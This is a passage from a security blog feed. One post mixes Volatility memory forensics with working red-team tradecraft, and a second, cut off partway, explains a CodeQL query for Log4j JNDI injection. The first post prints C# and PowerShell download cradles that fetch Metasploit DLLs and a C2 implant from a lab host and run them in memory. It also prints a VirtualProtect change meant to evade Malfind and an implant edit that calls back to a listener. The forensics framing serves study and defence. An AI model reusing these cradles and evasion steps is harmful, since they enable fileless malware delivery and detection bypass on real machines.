al</span><br><span class="line">0x1f45103001a: add byte ptr [rax], al</span><br><span class="line">...</span><br><span class="line">5508 a.exe 0x1f451080000 0x1f45108ffff VadS PAGE_EXECUTE_READWRITE 2 1 Disabled</span><br><span class="line">00 00 00 00 00 00 00 00 ........</span><br><span class="line">11 6d d2 d9 da 56 00 01 .m...V..</span><br><span class="line">ee ff ee ff 02 00 00 00 ........</span><br><span class="line">...</span><br><span class="line">0x1f451080000: add byte ptr [rax], al</span><br><span class="line">0x1f451080002: add byte ptr [rax], al</span><br><span class="line">0x1f451080004: add byte ptr [rax], al</span><br><span class="line">0x1f451080006: add byte ptr [rax], al</span><br><span class="line">...</span><br><span class="line">5508 a.exe 0x7ff4a8c00000 0x7ff4a8c9ffff VadS PAGE_EXECUTE_READWRITE 2 1 Disabled</span><br><span class="line">d8 ff ff ff ff ff ff ff ........</span><br><span class="line">08 00 00 00 00 00 00 00 ........</span><br><span class="line">...</span><br><span class="line">5508 a.exe 0x7ff4a8bf0000 0x7ff4a8bfffff VadS PAGE_EXECUTE_READWRITE 1 1 Disabled</span><br><span class="line">00 00 00 00 00 00 00 00 ........</span><br><span class="line">78 0d 00 00 00 00 00 00 x.......</span><br><span class="line">...</span><br><span class="line">0x7ff4a8bf0000: add byte ptr [rax], al</span><br><span class="line">0x7ff4a8bf0002: add byte ptr [rax], al</span><br><span class="line">0x7ff4a8bf0004: add byte ptr [rax], al</span><br><span class="line">0x7ff4a8bf0006: add byte ptr [rax], al</span><br><span class="line">0x7ff4a8bf0008: js 0x7ff4a8bf0017</span><br><span class="line">0x7ff4a8bf000a: add byte ptr [rax], al</span><br><span class="line">0x7ff4a8bf000c: add byte ptr [rax], al</span><br><span class="line">...</span><br></pre></td></tr></table></figure><p>Obviously, our malicious code has been located, it’s easy to be extracted with option “–dump”. </p><h5 id="Try-to-bypass-the-Malfind"><a href="#Try-to-bypass-the-Malfind" class="headerlink" title="Try to bypass the Malfind"></a>Try to bypass the Malfind</h5><p>However, can we bypass this check? let’s check the source code of volatility, <a href="https://github.com/volatilityfoundation/volatility3/blob/0245988fab6b19046df03b6e025561cdb9a0b726/volatility3/framework/plugins/windows/malfind.py#L124">here</a> we can find it.</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">write_exec = <span class="string">"EXECUTE"</span> <span class="keyword">in</span> protection_string <span class="keyword">and</span> <span class="string">"WRITE"</span> <span class="keyword">in</span> protection_string</span><br><span class="line"></span><br><span class="line"><span class="comment"># the write/exec check applies to everything</span></span><br><span class="line"><span class="keyword">if</span> <span class="keyword">not</span> write_exec:</span><br><span class="line"> <span class="keyword">continue</span></span><br></pre></td></tr></table></figure><p>Obviously, if we change the protection to <code>PAGE_EXECUTE_READ</code> after writing, we can bypass this detection. Just add this after <code>copy</code></p><figure class="highlight csharp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">IntPtr addr = VirtualAlloc(IntPtr.Zero, (<span class="built_in">uint</span>)res.Length, <span class="number">0x3000</span>, <span class="number">0x04</span>);</span><br><span class="line">Marshal.Copy(res, <span class="number">0</span>, addr, res.Length);</span><br><span class="line"><span class="built_in">uint</span> old;</span><br><span class="line">VirtualProtect(addr, (<span class="built_in">uint</span>)res.Length, <span class="number">0x20</span>, <span class="keyword">out</span> old);</span><br><span class="line">IntPtr hThread = CreateThread(IntPtr.Zero, <span class="number">0</span>, addr, IntPtr.Zero, <span class="number">0</span>, IntPtr.Zero);</span><br></pre></td></tr></table></figure><p>However, while using <code>malfind</code>, it still can locate injected code and marked as <code>PAGE_EXECUTE_READWRITE</code>. Why? I think that’s caused by the <strong>Virtual</strong>Protect, it just modified the permission of virtual memory page, but the volatility could check the actual physical memory page. (I haven’t confirmed this suppose). </p><h2 id="Memory-Forensics-with-Reflectively-Injected-Assembly"><a href="#Memory-Forensics-with-Reflectively-Injected-Assembly" class="headerlink" title="Memory Forensics with Reflectively Injected Assembly"></a>Memory Forensics with Reflectively Injected Assembly</h2><p>As we can see, <code>Malfind</code> could locate the injected code because these code locate at writable and executable memory page. If we load an unmanaged assembly reflectively and hide it out of our cradle process, it will be much harder to find it.</p><h3 id="Use-Invoke-ReflectivePEInjection-ps1-to-inject-assembly"><a href="#Use-Invoke-ReflectivePEInjection-ps1-to-inject-assembly" class="headerlink" title="Use Invoke-ReflectivePEInjection.ps1 to inject assembly"></a>Use <code>Invoke-ReflectivePEInjection.ps1</code> to inject assembly</h3><p>In this section we will use <a href="https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-ReflectivePEInjection.ps1">Invoke-ReflectoivePEInjection.ps1</a> to inject an assembly into an existed process reflectively, but because of the multiple instances of <code>GetProcAddress</code> in <code>UnsafeNativeMethods</code>, we have to modify it so that it could works in latest Windows 10. The modified one I used is here: <a href="https://github.com/4xpl0r3r/PowerSploit/blob/master/CodeExecution/Invoke-ReflectivePEInjection.ps1">https://github.com/4xpl0r3r/PowerSploit/blob/master/CodeExecution/Invoke-ReflectivePEInjection.ps1</a></p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">wget</span> <span class="string">"http://192.168.209.1:5555/Invoke-ReflectivePEInjection.ps1"</span> <span class="literal">-o</span> <span class="built_in">Invoke-ReflectivePEInjection</span>.ps1</span><br><span class="line"><span class="built_in">Import-Module</span> <span class="string">"C:\Users\Admin\Desktop\Invoke-ReflectivePEInjection.ps1"</span></span><br><span class="line"><span class="variable">$procid</span> = (<span class="built_in">Get-Process</span> <span class="literal">-Name</span> explorer).Id</span><br><span class="line"><span class="variable">$bytes</span> = (<span class="built_in">New-Object</span> System.Net.WebClient).DownloadData(<span class="string">'http://192.168.209.1:5555/met.dll'</span>)</span><br><span class="line"><span class="built_in">Invoke-ReflectivePEInjection</span> <span class="literal">-PEBytes</span> <span class="variable">$bytes</span> <span class="literal">-ProcId</span> <span class="variable">$procid</span></span><br><span class="line"><span class="built_in">echo</span> <span class="variable">$procid</span></span><br></pre></td></tr></table></figure><blockquote><p>I tried Havoc demon with <code>dll</code> format here, but it caused explorer.exe crashed, so I used Metasploit payload here and it works well</p></blockquote><p><img src="image-20230313131654181.png" alt="image-20230313131654181"></p><blockquote><p>The exception <code>VoidFunc not found</code> doesn’t affect our payload’s functionality, because our payload executed during loading.</p></blockquote><p>Check the pid, we found the pid of <code>meterpreter</code> is different from the pid of the <code>explorer</code></p><p><img src="image-20230313132251260.png" alt="image-20230313132251260"></p><h3 id="Forensics-with-Volatility-3-1"><a href="#Forensics-with-Volatility-3-1" class="headerlink" title="Forensics with Volatility 3"></a>Forensics with Volatility 3</h3><h4 id="Check-Process-Tree-1"><a href="#Check-Process-Tree-1" class="headerlink" title="Check Process Tree"></a>Check Process Tree</h4><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python ~/Tool\ Set.localized/Forensics/volatility3/vol.py -f memdump1.raw windows.pstree</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">6072 5992 explorer.exe 0xdd83351cb340 53 - 2 False 2023-03-13 05:11:55.000000 N/A</span><br><span class="line">* 3952 6072 rundll32.exe 0xdd8332854080 1 - 2 False 2023-03-13 05:16:26.000000 N/A</span><br></pre></td></tr></table></figure><p>Because our payload is in the <code>DllEntryPoint</code> Function, so it actually runs in <code>rundll32.exe</code> process, which is very suspicious and we can easily dump it from this <code>rundll32.exe</code> process.</p><h3 id="Hide-deeper-by-fully-leveraging-Invoke-ReflectivePEInjection-ps1"><a href="#Hide-deeper-by-fully-leveraging-Invoke-ReflectivePEInjection-ps1" class="headerlink" title="Hide deeper by fully leveraging Invoke-ReflectivePEInjection.ps1"></a>Hide deeper by fully leveraging <code>Invoke-ReflectivePEInjection.ps1</code></h3><p>By reviewing <code>Invoke-ReflectivePEInjection.ps1</code>, the exception we meet is shown as below and we can found that we can create a function called <code>VoidFunc</code> and it will be ran as a new thread in the remote process. Cause it will be a new thread, not a process, it could be more unsuspicious, but we have to modify the generating code to make it store the malicious payload in <code>VoidFunc</code> part, rather than <code>DllEntryPoint</code> Part.</p><p><img src="image-20230313133408825.png" alt="image-20230313133408825"></p><h2 id="Memory-Forensics-with-Net-Framework-Dynamically-Loaded-Managed-Assembly"><a href="#Memory-Forensics-with-Net-Framework-Dynamically-Loaded-Managed-Assembly" class="headerlink" title="Memory Forensics with .Net Framework Dynamically Loaded Managed Assembly"></a>Memory Forensics with .Net Framework Dynamically Loaded Managed Assembly</h2><p>Recently, I analyzed a cradle developed by the <code>Mallox</code> ransomware organization. The cradle is developed with C# and it uses <code>AppDomain.Load</code> to load an assembly into managed memory, which is very stealthy.</p><h3 id="Prepare-AtlasC2"><a href="#Prepare-AtlasC2" class="headerlink" title="Prepare AtlasC2"></a>Prepare AtlasC2</h3><p>Here I used <strong><a href="https://github.com/Gr1mmie/AtlasC2">AtlasC2</a></strong> to generate Implant. To make it work, I modified several code section for <code>Implant</code> as below</p><p><code>Program.cs</code> function <code>Main</code></p><figure class="highlight csharp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">void</span> <span class="title">Main</span>(<span class="params"><span class="built_in">string</span>[] args</span>)</span> {</span><br><span class="line"></span><br><span class="line"> <span class="comment">//Thread.Sleep(10000);</span></span><br><span class="line"></span><br><span class="line"> Process.GetCurrentProcess().PriorityClass = ProcessPriorityClass.Idle;</span><br><span class="line"></span><br><span class="line"> GenImplantData();</span><br><span class="line"> ImplantCommandsInit();</span><br><span class="line"></span><br><span class="line"> _comms = <span class="keyword">new</span> HTTPComms(<span class="string">"192.168.209.1"</span>, <span class="number">8089</span>); <span class="comment">// your listener</span></span><br><span class="line"> _comms.ImplantInit(_implantData);</span><br><span class="line"> _comms.Start();</span><br><span class="line"></span><br><span class="line"> _cancelToken = <span class="keyword">new</span> CancellationTokenSource();</span><br><span class="line"></span><br><span class="line"> <span class="keyword">while</span> (!_cancelToken.IsCancellationRequested) {</span><br><span class="line"> Thread.Sleep(<span class="number">1000</span>);</span><br><span class="line"> <span class="keyword">if</span> (_comms.DataRecv(<span class="keyword">out</span> <span class="keyword">var</span> tasks)) { HandleTasks(tasks); }</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p><code>Utils/ImplantDataUtils.cs</code> function<code>GetHostIP</code></p><blockquote><p>The original code may cause exception and end the program when the Internet is not accessible.</p></blockquote><figure class="highlight csharp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="built_in">string</span> <span class="title">GetHostIP</span>(<span class="params"></span>)</span></span><br><span class="line">{</span><br><span class="line"> <span class="keyword">using</span> (Socket socket = <span class="keyword">new</span> Socket(AddressFamily.InterNetwork, SocketType.Dgram, <span class="number">0</span>))</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">try</span></span><br><span class="line"> {</span><br><span class="line"> socket.Connect(<span class="string">"8.8.8.8"</span>, <span class="number">65530</span>);</span><br><span class="line"> IPEndPoint endPoint = socket.LocalEndPoint <span class="keyword">as</span> IPEndPoint;</span><br><span class="line"> <span class="keyword">return</span> (endPoint.Address.ToString());</span><br><span class="line"> }</span><br><span class="line"> catch(System.Net.Sockets.SocketException e)</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">return</span> (<span class="string">"Internal Network"</span>);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>After compiling, we got the Implant ready, the Team server running and listening.</p><h3 id="Custom-Managed-Cradle"><a href="#Custom-Managed-Cradle" class="headerlink" title="Custom Managed Cradle"></a>Custom Managed Cradle</h3><blockquote><p>I recommend you to compile the cradle with the same target .net framework with <code>Implant</code></p></blockquote><figure class="highlight csharp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">void</span> <span class="title">Main</span>(<span class="params"></span>)</span></span><br><span class="line">{</span><br><span class="line"> <span class="keyword">var</span> client = <span class="keyword">new</span> WebClient();</span><br><span class="line"> <span class="keyword">var</span> assemblyData = client.DownloadData(<span class="string">"http://192.168.209.1:5555/Implant.exe"</span>);</span><br><span class="line"> <span class="keyword">var</span> ass = AppDomain.CurrentDomain.Load(assemblyData);</span><br><span class="line"> Type entryType = ass.GetType(<span class="string">"Implant.Program"</span>);</span><br><span class="line"> MethodInfo method = entryType.GetMethod(<span class="string">"Main"</span>, System.Reflection.BindingFlags.Static | System.Reflection.BindingFlags.NonPublic);</span><br><span class="line"> <span class="keyword">var</span> args= <span class="keyword">new</span> <span class="built_in">object</span>[] { <span class="keyword">new</span> <span class="built_in">string</span>[] { } };</span><br><span class="line"> method.Invoke(<span class="literal">null</span>, args);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h3 id="Forensics-with-Volatility-3-2"><a href="#Forensics-with-Volatility-3-2" class="headerlink" title="Forensics with Volatility 3"></a>Forensics with Volatility 3</h3><h3 id="Check-Process-Tree-2"><a href="#Check-Process-Tree-2" class="headerlink" title="Check Process Tree"></a>Check Process Tree</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python volatility3/vol.py -f memdump2.raw windows.malfind.Malfind --pid 5572</span><br></pre></td></tr></table></figure><p><img src="image-20230313151555724.png" alt="image-20230313151555724"></p><p>As we can see, there isn’t any sub process for <code>ManagedCradle.exe</code></p><h3 id="Check-Malfind"><a href="#Check-Malfind" class="headerlink" title="Check Malfind"></a>Check <code>Malfind</code></h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python volatility3/vol.py -f memdump2.raw windows.pstree</span><br></pre></td></tr></table></figure><p><img src="image-20230313151745065.png" alt="image-20230313151745065"></p><p>Found 2 pieces suspicious, let’s try to remove our cradle code and run again.</p><figure class="highlight csharp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> client = <span class="keyword">new</span> WebClient();</span><br><span class="line"><span class="keyword">var</span> assemblyData = client.DownloadData(<span class="string">"http://192.168.209.1:5555/Implant.exe"</span>);</span><br><span class="line">Thread.Sleep(<span class="number">10000</span>);</span><br></pre></td></tr></table></figure><p><img src="image-20230313152425113.png" alt="image-20230313152425113"></p><p>It’s similar, so we can treat it as normal.</p><h3 id="Check-Dll-List"><a href="#Check-Dll-List" class="headerlink" title="Check Dll List"></a>Check Dll List</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python volatility3/vol.py -f memdump2.raw windows.dlllist.DllList --pid 5572</span><br></pre></td></tr></table></figure><p>Generated a large list, it’s hard to confirm whether a dll is suspicious. Maybe analyze them one by one can help us found the malicious one, but it’s too hard.</p><p><img src="image-20230313153029636.png" alt="image-20230313153029636"></p><h3 id="What-is-the-best-way-to-locate-the-threats-hidden-in-managed-memory"><a href="#What-is-the-best-way-to-locate-the-threats-hidden-in-managed-memory" class="headerlink" title="What is the best way to locate the threats hidden in managed memory?"></a>What is the best way to locate the threats hidden in managed memory?</h3><p>C# and .Net Framework is similar to Java, so the best way to track loaded assembly is using the interfaces that offered by .Net Framework itself, like I analyzed in <a href="https://cn.4xpl0r3r.com/%E6%8A%80%E6%9C%AF%E5%BD%92%E7%BA%B3/JavaWeb-%E5%86%85%E5%AD%98%E9%A9%AC%E6%8A%80%E6%9C%AF%E5%BD%92%E7%BA%B3/">https://cn.4xpl0r3r.com/%E6%8A%80%E6%9C%AF%E5%BD%92%E7%BA%B3/JavaWeb-%E5%86%85%E5%AD%98%E9%A9%AC%E6%8A%80%E6%9C%AF%E5%BD%92%E7%BA%B3/</a></p><h2 id="Load-Managed-Assembly-in-PowerShell"><a href="#Load-Managed-Assembly-in-PowerShell" class="headerlink" title="Load Managed Assembly in PowerShell"></a>Load Managed Assembly in PowerShell</h2><p>According to the analyzing above, we know that loading the malicious assembly into managed memory is a good way to hide. In this section, I will use PowerShell to replace the C# cradle so that there will be no file in the disk.</p><h3 id="My-PowerShell-Cradle"><a href="#My-PowerShell-Cradle" class="headerlink" title="My PowerShell Cradle"></a>My PowerShell Cradle</h3><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="variable">$assemblyData</span> = (<span class="built_in">New-Object</span> System.Net.WebClient).DownloadData(<span class="string">'http://192.168.209.1:5555/Implant.exe'</span>)</span><br><span class="line"><span class="variable">$ass</span> = [<span class="type">AppDomain</span>]::CurrentDomain.Load(<span class="variable">$assemblyData</span>);</span><br><span class="line"><span class="variable">$entryType</span> = <span class="variable">$ass</span>.GetType(<span class="string">"Implant.Program"</span>);</span><br><span class="line"><span class="variable">$method</span> = <span class="variable">$entryType</span>.GetMethod(<span class="string">"Main"</span>,[<span class="type">System.Reflection.BindingFlags</span>]::<span class="keyword">Static</span> <span class="operator">-bor</span> [<span class="type">System.Reflection.BindingFlags</span>]::NonPublic);</span><br><span class="line"><span class="variable">$args</span> = <span class="selector-tag">@</span>(,[<span class="type">System.String</span>[]]<span class="selector-tag">@</span>())</span><br><span class="line"><span class="variable">$method</span>.Invoke(<span class="variable">$null</span>,<span class="variable">$args</span>)</span><br></pre></td></tr></table></figure><h3 id="Pros-and-Cons"><a href="#Pros-and-Cons" class="headerlink" title="Pros and Cons"></a>Pros and Cons</h3><p>Running this, our malicious implant can hide in the <code>AppDomain</code> of current PowerShell process, having several pros listed below</p><ul><li>No suspicious memory section</li><li>No suspicious native DLL</li><li>No file in disk</li></ul><p>Also, cons listed below:</p><ul><li>May be influenced by AMSI</li><li>PowerShell command history could be reviewed in Windows Event Log</li></ul>]]></content>
<summary type="html"><p>There is a common method to execute a malicious payload in a download cradle to bypass the antivirus’ detection. Here I’m going to show you how to use volatility to perform memory forensics and extract malicious payloads from memory.</p></summary>
<category term="Red&Blue" scheme="https://www.4xpl0r3r.com/categories/Red-Blue/"/>
<category term="Red Teaming" scheme="https://www.4xpl0r3r.com/tags/Red-Teaming/"/>
<category term="Blue Teaming" scheme="https://www.4xpl0r3r.com/tags/Blue-Teaming/"/>
<category term="Memory Forensics" scheme="https://www.4xpl0r3r.com/tags/Memory-Forensics/"/>
<category term="C2" scheme="https://www.4xpl0r3r.com/tags/C2/"/>
<category term="PowerShell" scheme="https://www.4xpl0r3r.com/tags/PowerShell/"/>
<category term="C#" scheme="https://www.4xpl0r3r.com/tags/C/"/>
<category term="Antivirus Evasion" scheme="https://www.4xpl0r3r.com/tags/Antivirus-Evasion/"/>
</entry>
<entry>
<title>Using CodeQL to find out Log4j CVE-2021-44228</title>
<link href="https://www.4xpl0r3r.com/Experience/Using-CodeQL-to-find-out-Log4j-CVE-2021-44228/"/>
<id>https://www.4xpl0r3r.com/Experience/Using-CodeQL-to-find-out-Log4j-CVE-2021-44228/</id>
<published>2023-02-14T06:24:24.000Z</published>
<updated>2024-03-19T05:21:52.000Z</updated>
<content type="html"><![CDATA[<blockquote><p>Although there is a experimental CWE-020 query used for “Potential Log4J LDAP JNDI injection (CVE-2021-44228)” already, but at this time, I want to refit the CWE-074 to make it could find out CVE-2021-44228</p></blockquote><span id="more"></span><article class="message message-immersive is-primary"><div class="message-body"><i class="fas fa-globe-asia mr-2"></i>This article is also available in <a href="https://cn.4xpl0r3r.com/%E6%8A%80%E6%9C%AF%E5%BD%92%E7%BA%B3/%E4%BD%BF%E7%94%A8CodeQL%E5%8F%91%E7%8E%B0CVE-2021-44228/">简体中文</a>.</div></article><h2 id="Introduction"><a href="#Introduction" class="headerlink" title="Introduction"></a>Introduction</h2><p>As we all know, Log4j is caused by user-controlled JNDI lookup, from the document, I found CodeQL query help covered it and it’s CWE number is CWE-074. Here is the doc: <a href="https://codeql.github.com/codeql-query-help/java/java-jndi-injection/">JNDI lookup with user-controlled name</a></p><p>Let’s walk through this CWEs and try to use it to find the Log4j CVE-2021-44228</p><h2 id="Interpret-the-CWE-074"><a href="#Interpret-the-CWE-074" class="headerlink" title="Interpret the CWE-074"></a>Interpret the CWE-074</h2><p>The CWE-074 Code: <a href="https://github.com/github/codeql/blob/main/java/ql/src/Security/CWE/CWE-074/JndiInjection.ql">https://github.com/github/codeql/blob/main/java/ql/src/Security/CWE/CWE-074/JndiInjection.ql</a></p><p>As we can see, it encapsulated the mots code into <code>semmle.code.java.security.JndiInjectionQuery</code></p><p>By the comments in the code, we can know that this lib is used to provide taint tracking configurations to be used in JNDI injection queries.</p><p>And in it, we can find that it requires 4 libs as following</p><ul><li><code>semmle.code.java.dataflow.FlowSources</code><ul><li>Provides classes representing various flow sources for taint tracking</li><li>This is a basic lib for CodeQL</li></ul></li><li><code>semmle.code.java.frameworks.Jndi</code><ul><li>Provides classes and predicates for working with the Java JNDI API.</li></ul></li><li><code>semmle.code.java.frameworks.SpringLdap</code><ul><li>Provides classes and predicates for working with the Spring LDAP API.</li></ul></li><li><code>semmle.code.java.security.JndiInjection</code><ul><li>Provides classes and predicates to reason about JNDI injection vulnerabilities.</li><li>It’s important for us, so we will analyze it</li></ul></li></ul><h2 id="Interpreter-JndiInjection-qll"><a href="#Interpreter-JndiInjection-qll" class="headerlink" title="Interpreter JndiInjection.qll"></a>Interpreter <code>JndiInjection.qll</code></h2><h4 id="Class-DefaultJndiInjectionSink"><a href="#Class-DefaultJndiInjectionSink" class="headerlink" title="Class DefaultJndiInjectionSink"></a>Class <code>DefaultJndiInjectionSink</code></h4><p>It invokes the internal experimental API, and in practice, I found that it could locate the JNDI lookup function</p><p>This code written by myself as following works as same as the <code>sinkNode</code> invokes.</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">exists(MethodAccess ma, Method m |</span><br><span class="line"> ma.getMethod() = m and</span><br><span class="line"> this.asExpr() = ma.getAnArgument() and</span><br><span class="line"> m.getDeclaringType().hasQualifiedName("javax.naming","Context") and</span><br><span class="line"> m.hasName("lookup")</span><br><span class="line">)</span><br></pre></td></tr></table></figure><h4 id="Class-ConditionedJndiInjectionSink"><a href="#Class-ConditionedJndiInjectionSink" class="headerlink" title="Class ConditionedJndiInjectionSink"></a>Class <code>ConditionedJndiInjectionSink</code></h4><p>This class extends <code>JndiInjectionSink</code> and <code>DataFlow::ExprNode</code>, so it’s a <code>Node</code> and also a <code>ExprNode</code>.</p><p>The codeql judge code is as bellow</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">exists(MethodAccess ma, Method m |</span><br><span class="line"> ma.getMethod() = m and</span><br><span class="line"> ma.getArgument(0) = this.asExpr() and</span><br><span class="line"> m.getDeclaringType().getASourceSupertype*() instanceof TypeLdapOperations</span><br><span class="line"> |</span><br><span class="line"> m.hasName("search") and</span><br><span class="line"> ma.getArgument(3).(CompileTimeConstantExpr).getBooleanValue() = true</span><br><span class="line"> or</span><br><span class="line"> m.hasName("unbind") and</span><br><span class="line"> ma.getArgument(1).(CompileTimeConstantExpr).getBooleanValue() = true</span><br><span class="line"> )</span><br></pre></td></tr></table></figure><p>Let’s divide it into 3 parts by the <code>|</code> operand .</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">MethodAccess ma, Method m</span><br></pre></td></tr></table></figure><p>Firstly, there are a method access and a method.</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">ma.getMethod() = m and</span><br><span class="line">ma.getArgument(0) = this.asExpr() and</span><br><span class="line">m.getDeclaringType().getASourceSupertype*() instanceof TypeLdapOperations</span><br></pre></td></tr></table></figure><p>The method access accessed the <code>m</code> method and the sink as expression is the method access’ first argument and the method is Ldap operation</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">m.hasName("search") and</span><br><span class="line">ma.getArgument(3).(CompileTimeConstantExpr).getBooleanValue() = true</span><br><span class="line">or</span><br><span class="line">m.hasName("unbind") and</span><br><span class="line">ma.getArgument(1).(CompileTimeConstantExpr).getBooleanValue() = true</span><br></pre></td></tr></table></figure><p>the method could be <code>search</code> and it’s third argument should be <code>true</code> at compile time or the method could be <code>unbind</code> and it’s first argument should be <code>true</code> at compile time</p><p>What’s the meaning of this? Let’s check it in real code.</p><p><code>TypeLdapOperations</code> includes 2 classes</p><ul><li><code>org.springframework.ldap.core</code></li><li><code>org.springframework.ldap</code></li></ul><p>So this is only for the condition with <code>SpringFramework</code>, but this time, I want to find out a more general conditional without any framework. However, it’s a good idea to analyze it next time.</p><h4 id="Class-ProviderUrlJndiInjectionSink"><a href="#Class-ProviderUrlJndiInjectionSink" class="headerlink" title="Class ProviderUrlJndiInjectionSink"></a>Class <code>ProviderUrlJndiInjectionSink</code></h4><p>As the comment said, it could find out the sink about the provider URL.</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">/**</span><br><span class="line"> * Tainted value passed to env `Hashtable` as the provider URL by calling</span><br><span class="line"> * `env.put(Context.PROVIDER_URL, tainted)` or `env.setProperty(Context.PROVIDER_URL, tainted)`.</span><br><span class="line"> */</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">exists(MethodAccess ma, Method m |</span><br><span class="line"> ma.getMethod() = m and</span><br><span class="line"> ma.getArgument(1) = this.getExpr()</span><br><span class="line">|</span><br><span class="line"> m.getDeclaringType().getASourceSupertype*() instanceof TypeHashtable and</span><br><span class="line"> (m.hasName("put") or m.hasName("setProperty")) and</span><br><span class="line"> (</span><br><span class="line"> ma.getArgument(0).(CompileTimeConstantExpr).getStringValue() = "java.naming.provider.url"</span><br><span class="line"> or</span><br><span class="line"> exists(Field f |</span><br><span class="line"> ma.getArgument(0) = f.getAnAccess() and</span><br><span class="line"> f.hasName("PROVIDER_URL") and</span><br><span class="line"> f.getDeclaringType() instanceof TypeNamingContext</span><br><span class="line"> )</span><br><span class="line"> )</span><br><span class="line">)</span><br></pre></td></tr></table></figure><p><code>m.getDeclaringType().getASourceSupertype*() instanceof TypeHashtable</code> means <code>m</code> Method should be sub of <code>java.util.Hashtable</code>.</p><p><code>(m.hasName("put") or m.hasName("setProperty"))</code> indicates the name of the method</p><p>The final part indicates the first parameter should be a String <code>java.naming.provider.url</code> or a Field with type <code>javax.naming.Context</code> and the name should be <code>PROVIDER_URL</code></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">(</span><br><span class="line"> ma.getArgument(0).(CompileTimeConstantExpr).getStringValue() = "java.naming.provider.url"</span><br><span class="line"> or</span><br><span 